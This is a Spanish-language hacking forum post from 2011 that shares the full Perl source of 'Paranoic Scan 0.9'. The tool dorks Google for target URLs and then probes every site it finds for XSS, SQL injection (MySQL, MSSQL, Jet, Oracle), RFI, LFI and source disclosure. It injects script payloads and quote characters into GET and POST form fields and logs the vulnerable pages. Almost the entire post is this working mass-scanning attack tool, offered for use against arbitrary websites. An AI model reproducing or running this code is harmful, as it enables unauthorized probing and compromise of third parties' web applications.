elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Paranoic Scan 0.9
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Paranoic Scan 0.9  (Leído 1,632 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Paranoic Scan 0.9
« en: 7 Octubre 2011, 01:15 am »

La misma herramienta de siempre pero le agregue dos cosas nuevas

  • XSS POST & GET
  • SQL POST & GET
Código
  1. #!usr/bin/perl
  2. #Paranoic Scan 0.9 Updated
  3. #(c)0ded by Doddy H 2010
  4. #
  5. #Search in google with a dork
  6. #Scan type :
  7. #
  8. #XSS
  9. #Full Source Discloure
  10. #LFI
  11. #RFI
  12. #SQL GET & POST
  13. #MSSQL
  14. #Oracle
  15. #Jet Database
  16. #Find HTTP Options y Server nAME
  17. #
  18. #
  19.  
  20. use LWP::UserAgent;
  21. use HTML::LinkExtor;
  22. use HTML::Form;
  23. use URI::Split qw(uri_split);
  24. use IO::Socket;
  25.  
  26. my $nave = LWP::UserAgent->new;
  27. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  28. $nave->timeout(5);
  29.  
  30. installer();
  31.  
  32. sta();
  33.  
  34. sub sta {
  35. sub head {
  36. system 'cls';
  37.  
  38.  
  39. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  40. @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  41. @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  42. @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  43. @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  44. @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  45. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  46.  
  47.  
  48.  
  49.  
  50. );
  51. }
  52. &menu;
  53. sub menu {
  54. &head;
  55. print "[a] : Scan a File\n";
  56. print "[b] : Search in google and scan the webs\n\n";
  57. print "[option] : ";
  58. chomp(my $op = <STDIN>);
  59. if ($op =~/a/ig) {
  60. print "\n[+] Wordlist : ";
  61. chomp(my $word = <STDIN>);
  62. my @paginas = repes(cortar(savewords($word)));
  63. my $option = &men;
  64. print "\n\n[+] Opening File\n";
  65. scan($option,@paginas);
  66. }
  67. elsif ($op=~/b/ig) {
  68. print "\n[+] Dork : ";
  69. chomp(my $dork = <STDIN>);
  70. print "[+] Pages : ";
  71. chomp(my $pag = <STDIN>);
  72. my $option = &men;
  73. print "\n\n[+] Searching in google\n";
  74. my @paginas = &google($dork,$pag);
  75. scan($option,@paginas);
  76. }
  77. else {
  78. &menu;
  79. }
  80. }
  81. sub scan {
  82. my ($option,@webs) = @_;
  83. print "\n\n[Status] : Scanning\n";
  84. print "[Webs Count] : ".int(@webs)."\n\n\n";
  85. for(@webs) {
  86. if ($option=~/S/ig) {
  87. scansql($_);
  88. }
  89. if ($option=~/L/ig) {
  90. lfi($_);
  91. }
  92. if ($option=~/R/ig) {
  93. rfi($_);
  94. }
  95. if ($option=~/F/ig) {
  96. fsd($_);
  97. }
  98. if ($option=~/X/ig) {
  99. scanxss($_);
  100. }
  101. if ($option=~/M/ig) {
  102. mssql($_);
  103. }
  104. if ($option=~/J/ig) {
  105. access($_);
  106. }
  107. if ($option=~/O/ig) {
  108. oracle($_);
  109. }
  110. if ($option=~/HT/ig) {
  111. http($_);
  112. }
  113. if ($option=~/A/ig) {
  114. scansql($_);
  115. scanxss($_);
  116. mssql($_);
  117. access($_);
  118. oracle($_);
  119. lfi($_);
  120. rfi($_);
  121. fsd($_);
  122. http($_);
  123. }
  124. }
  125. }
  126. print "\n\n[Status] : Finish\n";
  127. &finish;
  128. }
  129.  
  130. sub toma {
  131. return $nave->get($_[0])->content;
  132. }
  133.  
  134. sub savefile {
  135. open (SAVE,">>logs/".$_[0]);
  136. print SAVE $_[1]."\n";
  137. close SAVE;
  138. }
  139.  
  140. sub finish {
  141. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  142. <STDIN>;
  143. sta();
  144. }
  145.  
  146. sub google {
  147. my($a,$b) = @_;
  148. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  149. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  150. my @links = get_links($code);
  151. for my $l(@links) {
  152. if ($l =~/webcache.googleusercontent.com/) {
  153. push(@url,$l);
  154. }
  155. }
  156. }
  157.  
  158. for(@url) {
  159. if ($_ =~/cache:(.*?):(.*?)\+/) {
  160. push(@founds,$2);
  161. }
  162. }
  163.  
  164. my @founds = repes(cortar(@founds));
  165. return @founds;
  166. }
  167.  
  168.  
  169.  
  170. sub http {
  171.  
  172. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  173.  
  174. my $socket = IO::Socket::INET->new(
  175. PeerAddr=>$auth,
  176. PeerPort=>"80",
  177. Proto=>"tcp");
  178.  
  179. print $socket "OPTIONS  / HTTP/1.0\r\n\r\n";
  180. read $socket,$resultado,"1000";
  181.  
  182. if ($resultado=~/Server:(.*)/g) {
  183. my $server = $1;
  184.  
  185. savefile("http-logs.txt","[+] Page : $auth"."\n");
  186. savefile("http-logs.txt","[+] Server : ".$server."\n");
  187. }
  188. if ($resultado=~/Allow: (.*)/g) {
  189. my $options = $1;
  190. savefile("http-logs.txt","[+] Options : ".$options."\n");
  191. }
  192. $socket->close;
  193. }
  194.  
  195. sub scanxss {
  196.  
  197. my $page = shift;
  198. chomp $page;
  199.  
  200. my @testar = HTML::Form->parse(toma($page),"/");
  201. my @botones_names;
  202. my @botones_values;
  203. my @orden;
  204. my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
  205. my @get_founds;
  206. my @post_founds;
  207. my @ordenuno;
  208. my @ordendos;
  209.  
  210. my $contador_forms = 0;
  211.  
  212. my $valor = "doddyhackman";
  213.  
  214. for my $test(@testar) {
  215. $contador_forms++;
  216. if ($test->method eq "POST") {
  217. my @inputs = $test->inputs;
  218. for my $in(@inputs) {
  219. if ($in->type eq "submit") {
  220. if ($in->name eq "") {
  221. push(@botones_names,"submit");
  222. }
  223. push(@botones_names,$in->name);
  224. push(@botones_values,$in->value);
  225. } else {
  226. push(@ordenuno,$in->name,$pa[0]);
  227. push(@ordendos,$in->name,$pa[1]);
  228. }}
  229.  
  230. for my $n(0..int(@botones_names)-1) {
  231. my @preuno = @ordenuno;
  232. my @predos = @ordendos;
  233. push(@preuno,$botones_names[$n],$botones_values[$n]);
  234. push(@predos,$botones_names[$n],$botones_values[$n]);
  235.  
  236. my $codeuno = $nave->post($page,\@preuno)->content;
  237. my $codedos = $nave->post($page,\@predos)->content;
  238. if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
  239. $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
  240. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  241. push(@post_founds,$contador_forms);
  242. } else {
  243. push(@post_founds,$test->attr(name));
  244. }}}
  245. } else { #Fin de metodo POST
  246. my @inputs = $test->inputs;
  247. for my $in(@inputs) {
  248. if ($in->type eq "submit") {
  249. if ($in->name eq "") {
  250. push(@botones_names,"submit");
  251. }
  252. push(@botones_names,$in->name);
  253. push(@botones_values,$in->value);
  254. } else {
  255. $orden.=''.$in->name.'='.$valor.'&';
  256. }}
  257. chop($orden);
  258. for my $n(0..int(@botones_names)-1) {
  259. my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
  260. my $final = $orden.$partedos;
  261. for my $strin(@pa) {
  262. chomp $strin;
  263. $final=~s/doddyhackman/$strin/;
  264. $code = toma($page."?".$final);
  265. my $strin = "\Q$strin\E";
  266. if ($code=~/$strin/) {
  267. push(@get_founds,$page."?".$final);
  268. }}}}}
  269.  
  270. my @get_founds = repes(@get_founds);
  271. if (int(@get_founds) ne 0) {
  272. for(@get_founds) {
  273. savefile("xss-logs.txt","[+] XSS Found : $_");
  274. print "[+] XSS Found : $_\n\a";
  275. }}
  276.  
  277. my @post_founds = repes(@post_founds);
  278. if (int(@post_founds) ne 0) {
  279. for my $t(@post_founds) {
  280. if ($t =~/^\d+$/) {
  281. savefile("xss-logs.txt","[+] XSS : Form $t in $page");
  282. print "[+] XSS : Form $t in $page\n\a";
  283. }}}}
  284.  
  285.  
  286. sub scansql {
  287.  
  288. my $page = shift;
  289. my $copia = $page;
  290.  
  291. $co = toma($page."'");
  292.  
  293. if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) {
  294. savefile("sql-logs.txt","[+] SQL : $page");
  295. print "[+] SQLI : $page\a\n";
  296. }
  297.  
  298. if ($page=~/(.*)\?(.*)/) {
  299. my $page = $1;
  300.  
  301. my @testar = HTML::Form->parse(toma($page),"/");
  302. my @botones_names;
  303. my @botones_values;
  304. my @orden;
  305. my @get_founds;
  306. my @post_founds;
  307. my @ordenuno;
  308. my @ordendos;
  309.  
  310. my $contador_forms = 0;
  311.  
  312. my $valor = "doddyhackman";
  313.  
  314. for my $test(@testar) {
  315. $contador_forms++;
  316. if ($test->method eq "POST") {
  317. my @inputs = $test->inputs;
  318. for my $in(@inputs) {
  319. if ($in->type eq "submit") {
  320. if ($in->name eq "") {
  321. push(@botones_names,"submit");
  322. }
  323. push(@botones_names,$in->name);
  324. push(@botones_values,$in->value);
  325. } else {
  326. push(@ordenuno,$in->name,"'");
  327. }}
  328.  
  329. for my $n(0..int(@botones_names)-1) {
  330. my @preuno = @ordenuno;
  331. push(@preuno,$botones_names[$n],$botones_values[$n]);
  332. my $code = $nave->post($page,\@preuno)->content;
  333. if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
  334. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  335. push(@post_founds,$contador_forms);
  336. } else {
  337. push(@post_founds,$test->attr(name));
  338. }}}}
  339.  
  340. my @post_founds = repes(@post_founds);
  341. if (int(@post_founds) ne 0) {
  342. for my $t(@post_founds) {
  343. if ($t =~/^\d+$/) {
  344. savefile("sql-logs.txt","[+] SQLI : Form $t in $page");
  345. print "[+] SQLI : Form $t in $page\n\a";
  346. }}}}}}
  347.  
  348. sub access {
  349.  
  350. my $page = shift;
  351. $code1 = toma($page."'");
  352. if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) {
  353. print "[+] Jet DB : $page\a\n";
  354. savefile("jetdb-logs.txt",$page);
  355. }
  356. }
  357.  
  358. sub mssql {
  359.  
  360. my $page = shift;
  361. $code1 = toma($page."'");
  362. if ($code1=~/ODBC SQL Server Driver/ig) {
  363. print "[+] MSSQL : $page\a\n";
  364. savefile("mssql-logs.txt",$page);
  365. }
  366. }
  367.  
  368. sub oracle {
  369.  
  370. my $page = shift;
  371. $code1 = toma($page."'");
  372. if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) {
  373. print "[+] Oracle : $page\a\n";
  374. savefile("oracle-logs.txt",$page);
  375. }
  376. }
  377.  
  378. sub rfi {
  379. my $page = shift;
  380. $code1 = toma($page."http:/www.supertangas.com/");
  381. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  382. print "[+] RFI : $page\a\n";
  383. savefile("rfi-logs.txt",$page);
  384. }}
  385.  
  386. sub lfi {
  387. my $page = shift;
  388. $code1 = toma($page."'");
  389. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  390. print "[+] LFI : $page\a\n";
  391. savefile("lfi-logs.txt",$page);
  392. }}
  393.  
  394. sub fsd {
  395. my $page = shift;
  396. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  397. if ($path=~/\/(.*)$/) {
  398. my $me = $1;
  399. $code1 = toma($page.$me);
  400. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  401. print "[+] Full Source Discloure : $page\a\n";
  402. savefile("fpd-logs.txt",$page);
  403. }}}
  404.  
  405. sub repes {
  406. my @limpio;
  407. foreach $test(@_) {
  408. push @limpio,$test unless $repe{$test}++;
  409. }
  410. return @limpio;
  411. }
  412.  
  413. sub savewords {
  414. open (FILE,$_[0]);
  415. @words = <FILE>;
  416. close FILE;
  417. for(@words) {
  418. push(@r,$_);
  419. }
  420. return(@r);
  421. }
  422.  
  423. sub men {
  424. print "\n\n[+] Scan Type : \n\n";
  425. print "[X] : XSS\n";
  426. print "[S] : SQL\n";
  427. print "[M] : MSSQL\n";
  428. print "[J] : Jet Database\n";
  429. print "[O] : Oracle\n";
  430. print "[L] : LFI\n";
  431. print "[R] : RFI\n";
  432. print "[F] : Full Source Discloure\n";
  433. print "[HT] : HTTP Information\n";
  434. print "[A] : All\n\n";
  435. print "\n[Options] : ";
  436. chomp(my $option = <STDIN>);
  437. return $option;
  438. }
  439.  
  440. sub cortar {
  441. my @nuevo;
  442. for(@_) {
  443. if ($_ =~/=/) {
  444. @tengo = split("=",$_);
  445. push(@nuevo,@tengo[0]."=");
  446. } else {
  447. push(@nuevo,$_);
  448. }}
  449. return @nuevo;
  450. }
  451.  
  452. sub get_links {
  453.  
  454. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  455. return @links;
  456.  
  457. sub agarrar {
  458. my ($a,%b) = @_;
  459. push(@links,values %b);
  460. }
  461. }
  462.  
  463.  
  464. sub installer {
  465. unless (-d "logs/") {
  466. mkdir("logs/","777");
  467. }
  468. }
  469.  
  470. # ¿ The End ?
  471.  

Ejemplo de uso


Código:



@@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
 @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
 @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
 @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
 @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
 @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
@@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




[a] : Scan a File
[b] : Search in google and scan the webs

[option] :


« Última modificación: 8 Octubre 2011, 18:59 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 4,023 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
[Perl] Search in google for scan SQLI
Scripting
BigBear 1 2,590 Último mensaje 4 Noviembre 2011, 17:48 pm
por BiteAciD
[Perl] Paranoic Scan By Doddy H
Scripting
BigBear 0 1,750 Último mensaje 8 Octubre 2011, 16:56 pm
por BigBear
[Perl] Scan Port 0.6
Scripting
BigBear 0 1,567 Último mensaje 19 Mayo 2012, 17:30 pm
por BigBear
[Perl Tk] Scan Port 0.6
Scripting
BigBear 0 1,604 Último mensaje 19 Mayo 2012, 17:30 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines